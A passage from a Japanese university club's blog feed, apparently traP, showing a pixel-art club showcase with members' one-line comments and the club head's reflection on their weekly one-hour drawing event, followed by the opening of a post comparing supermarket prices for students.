<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://trap.jp/content/images/2026/04/1000001944.png" class="kg-image" alt="&#x30C9;&#x30C3;&#x30C8;&#x7D75;&#x90E8;&#x306E;&#x6D3B;&#x52D5;&#x7D39;&#x4ECB; ver.2026" loading="lazy" width="480" height="480"></figure><!--kg-card-begin: markdown--><p>&#x4E00;&#x8A00;&#x30B3;&#x30E1;&#x30F3;&#x30C8;<br>
&gt;&#x300C;&#x5B9D;&#x77F3;&#x306E;&#x82B1;&#x300D;&#x304C;&#x30B3;&#x30F3;&#x30BB;&#x30D7;&#x30C8;&#x3067;&#x3059;</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="mimiyear"><a href="https://trap.jp/author/mimi_year/">@Mimi_year</a></h2>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://trap.jp/content/images/2026/04/1000001950.gif" class="kg-image" alt="&#x30C9;&#x30C3;&#x30C8;&#x7D75;&#x90E8;&#x306E;&#x6D3B;&#x52D5;&#x7D39;&#x4ECB; ver.2026" loading="lazy" width="1120" height="540"></figure><figure class="kg-card kg-image-card"><img src="https://trap.jp/content/images/2026/04/1000001951.png" class="kg-image" alt="&#x30C9;&#x30C3;&#x30C8;&#x7D75;&#x90E8;&#x306E;&#x6D3B;&#x52D5;&#x7D39;&#x4ECB; ver.2026" loading="lazy" width="1280" height="1280"></figure><!--kg-card-begin: markdown--><p>&#x4E00;&#x8A00;&#x30B3;&#x30E1;&#x30F3;&#x30C8;<br>
&gt;&#x30D2;&#x30C8;&#x3088;&#x308A;&#x30E2;&#x30F3;&#x30B9;&#x30BF;&#x30FC;&#x304C;&#x597D;&#x304D;&#x304B;&#x3082;&#x3057;&#x308C;&#x306A;&#x3044;</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="mirin"><a href="https://trap.jp/author/mirin/">@mirin</a></h2>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://trap.jp/content/images/2026/04/1000001947.png" class="kg-image" alt="&#x30C9;&#x30C3;&#x30C8;&#x7D75;&#x90E8;&#x306E;&#x6D3B;&#x52D5;&#x7D39;&#x4ECB; ver.2026" loading="lazy" width="768" height="1152"></figure><!--kg-card-begin: markdown--><p>&#x4E00;&#x8A00;&#x30B3;&#x30E1;&#x30F3;&#x30C8;<br>
&gt;&#x30A2;&#x30CB;&#x30E1;&#x3067;&#x306E;UB&#x56DE;&#x3084;&#x30E1;&#x30C6;&#x30CE;&#x56DE;&#x304C;&#x5370;&#x8C61;&#x306B;&#x6B8B;&#x3063;&#x3066;&#x3044;&#x307E;&#x3059;</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://trap.jp/content/images/2026/04/1000001946.png" class="kg-image" alt="&#x30C9;&#x30C3;&#x30C8;&#x7D75;&#x90E8;&#x306E;&#x6D3B;&#x52D5;&#x7D39;&#x4ECB; ver.2026" loading="lazy" width="1056" height="704"></figure><!--kg-card-begin: markdown--><p>&#x4E00;&#x8A00;&#x30B3;&#x30E1;&#x30F3;&#x30C8;<br>
&gt;&#x30C6;&#x30FC;&#x30DE;&#x300C;&#x685C;&#x300D;&#x304B;&#x3089;&#x3002;&#x685C;&#x306B;&#x307E;&#x3064;&#x308F;&#x308B;&#x66F2;&#x3060;&#x3068;CAPSULE&#x306E;&#x300C;&#x3055;&#x304F;&#x3089;&#x300D;&#x304C;&#x597D;&#x304D;&#x3067;&#x3059;</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="atlas2802"><a href="https://trap.jp/author/atlas2802/">@atlas2802</a></h2>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://trap.jp/content/images/2026/04/1000001955.png" class="kg-image" alt="&#x30C9;&#x30C3;&#x30C8;&#x7D75;&#x90E8;&#x306E;&#x6D3B;&#x52D5;&#x7D39;&#x4ECB; ver.2026" loading="lazy" width="1600" height="1600"></figure><!--kg-card-begin: markdown--><p>&#x4E00;&#x8A00;&#x30B3;&#x30E1;&#x30F3;&#x30C8;(&#x672C;&#x4EBA;&#x304C;&#x601D;&#x3044;&#x3064;&#x304B;&#x306A;&#x304B;&#x3063;&#x305F;&#x3088;&#x3046;&#x306A;&#x306E;&#x3067;&#x3001;lemon&#x304C;&#x4EE3;&#x308F;&#x308A;&#x306B;)<br>
&gt;&#x30EB;&#x30EB;&#x30ED;&#x30ED;&#x3001;&#x53EF;&#x611B;&#x3044;&#x301C;&#x3002;&#x9854;&#x306E;&#x611F;&#x3058;&#x304C;&#x3088;&#x304D;&#x3088;&#x304D;&#x3067;&#x3059;&#x3002;&#x3061;&#x306A;&#x307F;&#x306B;&#x3001;&#x3069;&#x3063;&#x3061;&#x304C;&#x30EB;&#x30EB;&#x3067;&#x3069;&#x3063;&#x3061;&#x304C;&#x30ED;&#x30ED;&#x306A;&#x306E;&#x3067;&#x3057;&#x3087;&#x3046;&#x304B;(&#x6C57;)</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://trap.jp/content/images/2026/04/1000001954.png" class="kg-image" alt="&#x30C9;&#x30C3;&#x30C8;&#x7D75;&#x90E8;&#x306E;&#x6D3B;&#x52D5;&#x7D39;&#x4ECB; ver.2026" loading="lazy" width="1024" height="1024"></figure><!--kg-card-begin: markdown--><p>&#x4E00;&#x8A00;&#x30B3;&#x30E1;&#x30F3;&#x30C8;(&#x540C;&#x4E0A;)<br>
&gt;&#x30D6;&#x30EA;&#x30B6;&#x30DD;&#x30B9;&#x3001;&#x4F55;&#x3084;&#x3089;&#x80CC;&#x4E2D;&#x304C;&#x5BC2;&#x3057;&#x305D;&#x3046;&#x3067;&#x3059;&#x306D;&#x3002;&#x5730;&#x5473;&#x306B;&#x80CC;&#x666F;&#x306E;&#x8868;&#x73FE;&#x3082;&#x3088;&#x304D;&#x3067;&#x3059;</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="hiyoko"><a href="https://trap.jp/author/hiyoko/">@hiyoko</a></h2>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://trap.jp/content/images/2026/04/1000001949.png" class="kg-image" alt="&#x30C9;&#x30C3;&#x30C8;&#x7D75;&#x90E8;&#x306E;&#x6D3B;&#x52D5;&#x7D39;&#x4ECB; ver.2026" loading="lazy" width="2560" height="853"></figure><!--kg-card-begin: markdown--><p>&#x4E00;&#x8A00;&#x30B3;&#x30E1;&#x30F3;&#x30C8;<br>
&gt;&#x685C;&#x304C;&#x6563;&#x308B;&#x5B63;&#x7BC0;&#x306E;&#x4ECA;&#x3092;&#x30A4;&#x30E1;&#x30FC;&#x30B8;&#x3057;&#x307E;&#x3057;&#x305F;</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://trap.jp/content/images/2026/04/1000001948.png" class="kg-image" alt="&#x30C9;&#x30C3;&#x30C8;&#x7D75;&#x90E8;&#x306E;&#x6D3B;&#x52D5;&#x7D39;&#x4ECB; ver.2026" loading="lazy" width="1600" height="1600"></figure><!--kg-card-begin: markdown--><p>&#x4E00;&#x8A00;&#x30B3;&#x30E1;&#x30F3;&#x30C8;<br>
&gt;&#x67D0;&#x30C0;&#x30F3;&#x30B8;&#x30E7;&#x30F3;&#x3067;&#x3054;&#x98EF;&#x98DF;&#x3079;&#x308B;&#x7269;&#x8A9E;&#x306B;&#x51FA;&#x3066;&#x304F;&#x308B;&#x9B54;&#x5C0E;&#x66F8;&#x3067;&#x3059;</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="tobuhitodesu"><a href="https://trap.jp/author/tobuhitodesu/">@tobuhitodesu</a></h2>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://trap.jp/content/images/2026/04/1000001952.png" class="kg-image" alt="&#x30C9;&#x30C3;&#x30C8;&#x7D75;&#x90E8;&#x306E;&#x6D3B;&#x52D5;&#x7D39;&#x4ECB; ver.2026" loading="lazy" width="1872" height="1053"></figure><!--kg-card-begin: markdown--><p>&#x4E00;&#x8A00;&#x30B3;&#x30E1;&#x30F3;&#x30C8;<br>
&gt;&#x306A;&#x3093;&#x3068;&#x3001;&#x6D77;&#x3067;&#x3059;<br>
&gt;&#x6771;&#x4EAC;&#x306E;&#x753A;&#x3067;&#x3082;&#x3042;&#x308A;&#x307E;&#x3059;</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://trap.jp/content/images/2026/04/1000001953.png" class="kg-image" alt="&#x30C9;&#x30C3;&#x30C8;&#x7D75;&#x90E8;&#x306E;&#x6D3B;&#x52D5;&#x7D39;&#x4ECB; ver.2026" loading="lazy" width="1024" height="576"></figure><!--kg-card-begin: markdown--><p>&#x4E00;&#x8A00;&#x30B3;&#x30E1;&#x30F3;&#x30C8;<br>
&gt;&#x5915;&#x66AE;&#x308C;&#x3067;&#x3059;</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="it2006"><a href="https://trap.jp/author/it_2006/">@IT_2006</a></h2>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://trap.jp/content/images/2026/04/1000001942.png" class="kg-image" alt="&#x30C9;&#x30C3;&#x30C8;&#x7D75;&#x90E8;&#x306E;&#x6D3B;&#x52D5;&#x7D39;&#x4ECB; ver.2026" loading="lazy" width="900" height="900"></figure><!--kg-card-begin: markdown--><p>&#x4E00;&#x8A00;&#x30B3;&#x30E1;&#x30F3;&#x30C8;<br>
&gt;&#x30AB;&#x30FC;&#x30D3;&#x30A3;&#x3061;&#x3083;&#x3093;&#x30AB;&#x30EF;&#x30A4;&#x30A3;&#x30A3;&#x30A3;&#x30A3;&#x30A3;&#xFF01;&#xFF01;</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="ruraruto246"><a href="https://trap.jp/author/ruraruto246/">@ruraruto246</a></h2>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://trap.jp/content/images/2026/04/1000001943.png" class="kg-image" alt="&#x30C9;&#x30C3;&#x30C8;&#x7D75;&#x90E8;&#x306E;&#x6D3B;&#x52D5;&#x7D39;&#x4ECB; ver.2026" loading="lazy" width="640" height="640"></figure><!--kg-card-begin: markdown--><p>&#x4E00;&#x8A00;&#x30B3;&#x30E1;&#x30F3;&#x30C8;<br>
&gt;&#x30B9;&#x30CE;&#x30FC;&#x30C9;&#x30FC;&#x30E0;&#x3092;&#x63CF;&#x304F;&#x306F;&#x305A;&#x304C;&#x6C17;&#x4ED8;&#x3044;&#x305F;&#x3089;&#x685C;&#x30C9;&#x30FC;&#x30E0;&#x306B;&#x306A;&#x3063;&#x3066;&#x3044;&#x307E;&#x3057;&#x305F;</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="lemon"><a href="https://trap.jp/author/lemon/">@lemon</a></h2>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://trap.jp/content/images/2026/04/1000001956.png" class="kg-image" alt="&#x30C9;&#x30C3;&#x30C8;&#x7D75;&#x90E8;&#x306E;&#x6D3B;&#x52D5;&#x7D39;&#x4ECB; ver.2026" loading="lazy" width="1120" height="2000"></figure><!--kg-card-begin: markdown--><p>&#x4E00;&#x8A00;&#x30B3;&#x30E1;&#x30F3;&#x30C8;<br>
&gt;&#x3053;&#x3093;&#x306B;&#x3061;&#x306F;&#x3002;&#x3053;&#x306E;&#x30D6;&#x30ED;&#x30B0;&#x306E;&#x57F7;&#x7B46;&#x8005;&#x3067;&#x3059;&#x3002;&#x3064;&#x3044;&#x3067;&#x306B;&#x30C9;&#x30C3;&#x30C8;&#x7D75;&#x90E8;&#x306E;&#x73FE;&#x5728;&#x306E;&#x9577;&#x3092;&#x3084;&#x3063;&#x3066;&#x305F;&#x308A;&#x3057;&#x307E;&#x3059;&#x3002;&#x306A;&#x3093;&#x304B;&#x3001;&#x3053;&#x3053;&#x306E;&#x4E00;&#x8A00;&#x30B3;&#x30E1;&#x30F3;&#x30C8;&#x3063;&#x3066;&#x3069;&#x306E;&#x304F;&#x3089;&#x3044;&#x306E;&#x6587;&#x7AE0;&#x91CF;&#x306B;&#x306A;&#x308B;&#x306E;&#x304B;&#x306A;&#x301C;&#x3063;&#x3066;&#x3001;&#x6562;&#x3048;&#x3066;&#x6587;&#x5B57;&#x6570;&#x3092;&#x6307;&#x5B9A;&#x305B;&#x305A;&#x306B;&#x304A;&#x9858;&#x3044;&#x3057;&#x305F;&#x3093;&#x3067;&#x3059;&#x3088;&#x3002;&#x305D;&#x3057;&#x305F;&#x3089;&#x307F;&#x3093;&#x306A;&#x304B;&#x306A;&#x308A;&#x4E00;&#x8A00;&#x306B;&#x307E;&#x3068;&#x3081;&#x3066;&#x304F;&#x308C;&#x3066;&#x307E;&#x3057;&#x305F;&#x306D;&#x3002;&#x81EA;&#x5206;&#x3082;&#x672C;&#x5F53;&#x306B;&#x4E00;&#x8A00;&#x3060;&#x3051;&#x30B3;&#x30E1;&#x30F3;&#x30C8;&#x3057;&#x3088;&#x3046;&#x3068;&#x601D;&#x3063;&#x3066;&#x305F;&#x3093;&#x3067;&#x3059;&#x304C;&#x3001;&#x30D0;&#x30E9;&#x30F3;&#x30B9;&#x3092;&#x8003;&#x3048;&#x3066;&#x9006;&#x306B;&#x305F;&#x304F;&#x3055;&#x3093;&#x66F8;&#x3044;&#x3066;&#x3084;&#x308D;&#x3046;&#x3068;&#x601D;&#x3044;&#x307E;&#x3059;&#x3002;&#x30C9;&#x30C3;&#x30C8;&#x7D75;&#x3001;&#x3053;&#x3046;&#x307E;&#x3068;&#x3081;&#x308B;&#x3068;&#x304A;&#x3082;&#x308D;&#x3044;&#x3067;&#x3059;&#x306D;&#x3002;&#x3082;&#x3061;&#x308D;&#x3093;&#x3053;&#x3053;&#x3067;&#x7D39;&#x4ECB;&#x3057;&#x305F;&#x4EE5;&#x5916;&#x306E;&#x4F5C;&#x54C1;&#x3082;&#x305F;&#x304F;&#x3055;&#x3093;&#x5236;&#x4F5C;&#x3055;&#x308C;&#x3066;&#x3044;&#x305F;&#x306E;&#x3067;&#x3001;&#x3069;&#x308C;&#x7D39;&#x4ECB;&#x3057;&#x3088;&#x3046;&#x304B;&#x306A;&#x301C;&#x3063;&#x3066;&#x8272;&#x3005;&#x8003;&#x3048;&#x3066;&#x307E;&#x3057;&#x305F;&#x3002;&#x3061;&#x306A;&#x307F;&#x306B;&#x3053;&#x3053;&#x3067;&#x7D39;&#x4ECB;&#x3057;&#x305F;&#x591A;&#x304F;&#x306E;&#x4F5C;&#x54C1;&#x306F;&#x3001;1dot&#x3068;&#x3044;&#x3046;&#x9031;1&#x958B;&#x50AC;&#x306E;&#x90E8;&#x5185;&#x30A4;&#x30D9;&#x30F3;&#x30C8;&#x3067;&#x5236;&#x4F5C;&#x3055;&#x308C;&#x305F;&#x3082;&#x306E;&#x306A;&#x3093;&#x3067;&#x3059;&#x3088;&#x306D;&#x3002;&#x6982;&#x306D;1&#x6642;&#x9593;&#x3067;&#x30C9;&#x30C3;&#x30C8;&#x7D75;&#x3092;&#x4F5C;&#x6210;&#x3057;&#x3088;&#x3046;&#x3068;&#x3044;&#x3046;&#x30A4;&#x30D9;&#x30F3;&#x30C8;&#x3067;&#x3059;&#x3002;&#x5927;&#x4F53;&#x9593;&#x306B;&#x5408;&#x3063;&#x3066;&#x306A;&#x3044;&#x4EBA;&#x304C;&#x307B;&#x3068;&#x3093;&#x3069;&#x3067;&#x3059;&#x3002;&#x306A;&#x3093;&#x3060;&#x304B;&#x3093;&#x3060;&#x4E00;&#x6628;&#x5E74;&#x304B;&#x3089;&#x7D2F;&#x8A08;60&#x56DE;&#x8FD1;&#x304F;&#x958B;&#x50AC;&#x3055;&#x308C;&#x3066;&#x3044;&#x308B;&#x3088;&#x3046;&#x3067;&#x3059;&#x3002;&#x666E;&#x901A;&#x306B;&#x3059;&#x3054;&#x3044;&#x3067;&#x3059;&#x306D;&#x3002;60*7=420&#x306A;&#x306E;&#x3067;&#x3001;1&#x5E74;&#x306F;&#x8D85;&#x3048;&#x3066;&#x3044;&#x308B;&#x8A08;&#x7B97;&#x3067;&#x3059;&#x3002;&#x671F;&#x672B;&#x8A66;&#x9A13;&#x3084;&#x3089;&#x4ED6;&#x306E;&#x30A4;&#x30D9;&#x30F3;&#x30C8;&#x3084;&#x3089;&#x3067;&#x6F70;&#x308C;&#x308B;&#x3053;&#x3068;&#x3082;&#x3042;&#x308B;&#x306E;&#x3067;&#x3001;&#x7D50;&#x69CB;&#x3059;&#x3054;&#x3044;&#x3093;&#x3067;&#x3059;&#x3002;&#x305D;&#x308C;&#x306F;&#x3055;&#x3066;&#x304A;&#x304D;&#x3001;&#x307B;&#x3052;&#x30FC;&#x3063;&#x3068;&#x4F5C;&#x54C1;&#x3092;&#x898B;&#x3066;&#x305F;&#x3089;&#x3069;&#x3053;&#x305E;&#x306E;&#x6709;&#x540D;&#x30B2;&#x30FC;&#x30E0;&#x306E;&#x30AD;&#x30E3;&#x30E9;&#x304C;&#x591A;&#x3044;&#x3053;&#x3068;&#x306B;&#x6C17;&#x304C;&#x3064;&#x304D;&#x307E;&#x3057;&#x305F;&#x3002;&#x7D39;&#x4ECB;&#x4F5C;&#x54C1;&#x306E;&#x9078;&#x5B9A;&#x306B;&#x306F;&#x3060;&#x3044;&#x3076;&#x81EA;&#x5206;&#x306E;&#x8DA3;&#x5411;&#x304C;&#x53CD;&#x6620;&#x3055;&#x308C;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;&#x30B5;&#x30C8;&#x30B7;&#x304C;&#x5F15;&#x9000;&#x3057;&#x3066;&#x304B;&#x3089;&#x30A2;&#x30CB;&#x30E1;&#x306F;&#x8FFD;&#x3048;&#x3066;&#x306A;&#x3044;&#x3093;&#x3067;&#x3059;&#x304C;...&#x3002;&#x305D;&#x3046;&#x3044;&#x3048;&#x3070;&#x3001;traP&#x3067;&#x5236;&#x4F5C;&#x3055;&#x308C;&#x308B;&#x30A4;&#x30E9;&#x30B9;&#x30C8;&#x3063;&#x3066;&#x7F8E;&#x5C11;&#x5973;&#x30A4;&#x30E9;&#x30B9;&#x30C8;&#x304C;&#x591A;&#x3044;&#x3093;&#x3067;&#x3059;&#x304C;&#x3001;&#x30C9;&#x30C3;&#x30C8;&#x7D75;&#x306B;&#x95A2;&#x3057;&#x3066;&#x306F;&#x305D;&#x306E;&#x50BE;&#x5411;&#x304C;&#x3042;&#x307E;&#x308A;&#x3042;&#x308A;&#x307E;&#x305B;&#x3093;&#x3067;&#x3057;&#x305F;&#x306D;&#x3002;&#x3053;&#x308C;&#x306F;&#x672C;&#x5F53;&#x306B;&#x306A;&#x3093;&#x3067;&#x3067;&#x3057;&#x3087;&#x3046;&#x304B;&#x3002;&#x7D50;&#x69CB;&#x4E0D;&#x601D;&#x8B70;&#x3067;&#x3059;&#x3002;&#x96F0;&#x56F2;&#x6C17;&#x3068;&#x304B;&#x3092;&#x5408;&#x308F;&#x305B;&#x3088;&#x3046;&#x3068;&#x601D;&#x3046;&#x3068;&#x3061;&#x3087;&#x3063;&#x3068;&#x96E3;&#x3057;&#x3044;&#x3068;&#x304B;&#x3067;&#x3059;&#x304B;&#x306D;&#x3002;&#x3055;&#x3066;&#x3001;&#x305D;&#x308D;&#x305D;&#x308D;&#x66F8;&#x304F;&#x3053;&#x3068;&#x304C;&#x306A;&#x304F;&#x306A;&#x3063;&#x3066;&#x304D;&#x307E;&#x3057;&#x305F;&#x3002;&#x305D;&#x3046;&#x3044;&#x3048;&#x3070;&#x81EA;&#x5206;&#x306E;&#x4F5C;&#x54C1;&#x306B;&#x89E6;&#x308C;&#x3066;&#x307E;&#x305B;&#x3093;&#x3067;&#x3057;&#x305F;&#x306D;&#x3002;&#x3053;&#x308C;&#x306F;&#x82B1;&#x672D;&#x306E;&#x7D75;&#x67C4;&#x3092;&#x30E2;&#x30C1;&#x30FC;&#x30D5;&#x306B;&#x3057;&#x3066;&#x305F;&#x308A;&#x3057;&#x307E;&#x3059;&#x3002;&#x6885;&#x3068;&#x9DAF;&#x306A;&#x3093;&#x3067;&#x3059;&#x304C;&#x3001;&#x63CF;&#x3044;&#x3066;&#x3044;&#x308B;&#x82B1;&#x306F;&#x685C;&#x3067;&#x3059;&#x306D;&#x3002;&#x65B0;&#x6B53;&#x6642;&#x671F;&#x3068;&#x3057;&#x3066;&#x306F;&#x3044;&#x3044;&#x3093;&#x3058;&#x3083;&#x306A;&#x3044;&#x3067;&#x3057;&#x3087;&#x3046;&#x304B;</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h1 id="%E7%B5%82%E3%82%8F%E3%82%8A%E3%81%AB">&#x7D42;&#x308F;&#x308A;&#x306B;</h1>
<p>&#x3055;&#x3066;&#x3001;&#x305D;&#x308C;&#x3067;&#x306F;&#x3053;&#x306E;&#x30D6;&#x30ED;&#x30B0;&#x3082;&#x7DE0;&#x3081;&#x306B;&#x5165;&#x308A;&#x305F;&#x3044;&#x3068;&#x601D;&#x3044;&#x307E;&#x3059;&#x3002;traP&#x30B0;&#x30E9;&#x30D5;&#x30A3;&#x30C3;&#x30AF;&#x73ED;&#x3067;&#x306F;&#x4E00;&#x822C;&#x7684;&#x306A;&#x30C7;&#x30B8;&#x30BF;&#x30EB;&#x30A4;&#x30E9;&#x30B9;&#x30C8;&#x306E;&#x4ED6;&#x306B;&#x3082;&#x3001;&#x30C9;&#x30C3;&#x30C8;&#x7D75;&#x3001;&#x30C7;&#x30B6;&#x30A4;&#x30F3;&#x3001;3DCG&#x3001;&#x6620;&#x50CF;&#x306A;&#x3069;&#x8272;&#x3005;&#x3084;&#x3063;&#x3066;&#x307E;&#x3059;&#xFF01;&#x4ECA;&#x5F8C;&#x3068;&#x3082;&#x3088;&#x308D;&#x3057;&#x304F;&#x304A;&#x9858;&#x3044;&#x3057;&#x307E;&#x3059;&#xFF01;&#xFF01;</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[スーパー別に値段を比較してみた！ 【新歓ブログリレー2026 52日目】]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>&#x3053;&#x306E;&#x8A18;&#x4E8B;&#x306F;<a href="https://trap.jp/tag/welcome-relay-2026">&#x65B0;&#x6B53;&#x30D6;&#x30ED;&#x30B0;&#x30EA;&#x30EC;&#x30FC;2026</a> 52&#x65E5;&#x76EE;&#x306E;&#x8A18;&#x4E8B;&#x3067;&#x3059;</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="%E3%81%AF%E3%81%98%E3%82%81%E3%81%AB">&#x306F;&#x3058;&#x3081;&#x306B;</h2>
<p>&#x5927;&#x5B66;&#x306B;&#x5165;&#x3063;&#x3066;&#x304B;&#x3089;&#x81EA;&#x708A;&#x3092;&#x59CB;&#x3081;&#x305F;&#x4EBA;&#x3082;&#x3044;&#x308B;&#x3068;&#x601D;&#x3044;&#x307E;&#x3059;&#x3002;</p>]]></description><link>https://trap.jp/post/2923/</link><guid isPermaLink="false">69e70e76e2394c00016e9a01</guid><category><![CDATA[新歓ブログリレー2026]]></category><category><![CDATA[料理]]></category><dc:creator><![CDATA[Water_Castle]]></dc:creator><pubDate>Sat, 25 Apr 2026 23:00:02 GMT</pubDate><media:content url="https://trap.jp/content/images/2026/04/picture-of-tokyu-store-signboard.jpg" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><img src="https://trap.jp/content/images/2026/04/picture-of-tokyu-store-signboard.jpg" alt="&#x30B9;&#x30FC;&#x30D1;&#x30FC;&#x5225;&#x306B;&#x5024;&#x6BB5;&#x3092;&#x6BD4;&#x8F03;&#x3057;&#x3066;&#x307F;&#x305F;&#xFF01; &#x3010;&#x65B0;&#x6B53;&#x30D6;&#x30ED;&#x30B0;&#x30EA;&#x30EC;&#x30FC;2026 52&#x65E5;&#x76EE;&#x3011;"><p>&#x3053;&#x306E;&#x8A18;&#x4E8B;&#x306F;<a href="https://trap.jp/tag/welcome-relay-2026">&#x65B0;&#x6B53;&#x30D6;&#x30ED;&#x30B0;&#x30EA;&#x30EC;&#x30FC;2026</a> 52&#x65E5;&#x76EE;&#x306E;&#x8A18;&#x4E8B;&#x3067;&#x3059;</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="%E3%81%AF%E3%81%98%E3%82%81%E3%81%AB">&#x306F;&#x3058;&#x3081;&#x306B;</h2>
<p>&#x5927;&#x5B66;&#x306B;&#x5165;&#x3063;&#x3066;&#x304B;&#x3089;&#x81EA;&#x708A;&#x3092;&#x59CB;&#x3081;&#x305F;&#x4EBA;&#x3082;&#x3044;&#x308B;&#x3068;&#x601D;&#x3044;&#x307E;&#x3059;&#x3002;<br>
&#x305D;&#x306E;&#x4E2D;&#x306B;&#x306F;&#x304D;&#x3063;&#x3068;&#x3001;&#x81EA;&#x708A;&#x3059;&#x308B;&#x304B;&#x3089;&#x306B;&#x306F;&#x5B89;&#x304F;&#x6E08;&#x307E;&#x305B;&#x305F;&#x3044;&#x3051;&#x3069;&#x6771;&#x4EAC;&#x306B;&#x306F;&#x30B9;&#x30FC;&#x30D1;&#x30FC;&#x304C;&#x305F;&#x304F;&#x3055;&#x3093;&#x3042;&#x3063;&#x3066;<strong>&#x3069;&#x3053;&#x304C;&#x5B89;&#x3044;&#x306E;&#x304B;&#x308F;&#x304B;&#x3089;&#x306A;&#x3044;</strong>&#x3068;&#x304A;&#x60A9;&#x307F;&#x306E;&#x65B9;&#x3082;&#x3044;&#x308B;&#x3067;&#x3057;&#x3087;&#x3046;&#x3002;<br>
&#x7686;&#x3055;&#x3093;&#x304C;&#x60A9;&#x307E;&#x306A;&#x3044;&#x3088;&#x3046;&#x3001;&#x6700;&#x8FD1;&#x30B9;&#x30FC;&#x30D1;&#x30FC;&#x306B;&#x884C;&#x304F;&#x305F;&#x3073;&#x306B;&#x30E1;&#x30E2;&#x3092;&#x3057;&#x3066;&#x3044;&#x305F;&#x3001;&#x5404;&#x30B9;&#x30FC;&#x30D1;&#x30FC;&#x3067;&#x306E;&#x54C1;&#x76EE;&#x3068;&#x305D;&#x306E;&#x5024;&#x6BB5;&#x3092;&#x4E00;&#x6319;&#x516C;&#x958B;&#x3057;&#x3066;&#x3057;&#x307E;&#x304A;&#x3046;&#x3068;&#x601D;&#x3044;&#x307E;&#x3059;<br>
<strong>&#x6CE8;&#x610F;&#x70B9;</strong>&#x3000;&#x3042;&#x304F;&#x307E;&#x3067;&#x81EA;&#x5206;&#x304C;&#x53C2;&#x8003;&#x7528;&#x306B;&#x6E9C;&#x3081;&#x3066;&#x3044;&#x305F;&#x30C7;&#x30FC;&#x30BF;&#x306A;&#x306E;&#x3067;&#x4EE5;&#x4E0B;&#x306E;&#x3088;&#x3046;&#x306A;&#x8981;&#x7D20;&#x304C;&#x3042;&#x308A;&#x307E;&#x3059;&#x3002;</p>
<ul>
<li>&#x91CE;&#x83DC;&#x306E;&#x5927;&#x304D;&#x3055;&#x306E;&#x57FA;&#x6E96;&#x304C;&#x4E3B;&#x89B3;&#x306B;&#x4F9D;&#x5B58;</li>
<li>&#x30B9;&#x30FC;&#x30D1;&#x30FC;&#x306E;&#x8ABF;&#x67FB;&#x7BC4;&#x56F2;&#x3084;&#x5024;&#x6BB5;&#x306E;&#x8ABF;&#x67FB;&#x54C1;&#x76EE;&#x306B;&#x504F;&#x308A;</li>
<li>&#x30C7;&#x30FC;&#x30BF;&#x306E;&#x629C;&#x3051;</li>
<li><strong>&#x6700;&#x5B89;&#x5024;&#x306E;&#x307F;&#x3092;&#x8FFD;&#x7A76;&#x3057;&#x3001;&#x5473;&#x306F;&#x8ABF;&#x67FB;&#x5BFE;&#x8C61;&#x5916;</strong></li>
<li><strong>&#x30AF;&#x30FC;&#x30DD;&#x30F3;&#x3084;&#x30DD;&#x30A4;&#x30F3;&#x30C8;&#x306B;&#x3088;&#x308B;&#x9084;&#x5143;&#x3001;&#x5272;&#x5F15;&#x306F;&#x8ABF;&#x67FB;&#x5BFE;&#x8C61;&#x5916;</strong></li>
<li>&#x91D1;&#x984D;&#x306F;&#x7A0E;&#x629C;&#x304D;<br>
&#x4EE5;&#x4E0A;&#x306E;&#x6CE8;&#x610F;&#x70B9;&#x3092;&#x8E0F;&#x307E;&#x3048;&#x3066;&#x3001;&#x305D;&#x308C;&#x3067;&#x3082;&#x554F;&#x984C;&#x3068;&#x3044;&#x3046;&#x65B9;&#x306F;&#x3000;&#x3086;&#x3063;&#x304F;&#x308A;&#x8AAD;&#x3093;&#x3067;&#x3044;&#x3063;&#x3066;&#x306D;!!!</li>
</ul>
<h2 id="%E5%81%89%E5%A4%A7%E3%81%AA%E3%82%8B%E5%85%88%E4%BA%BA%E6%A7%98%E3%81%AE%E3%83%96%E3%83%AD%E3%82%B0">&#x5049;&#x5927;&#x306A;&#x308B;&#x5148;&#x4EBA;&#x69D8;&#x306E;&#x30D6;&#x30ED;&#x30B0;</h2>
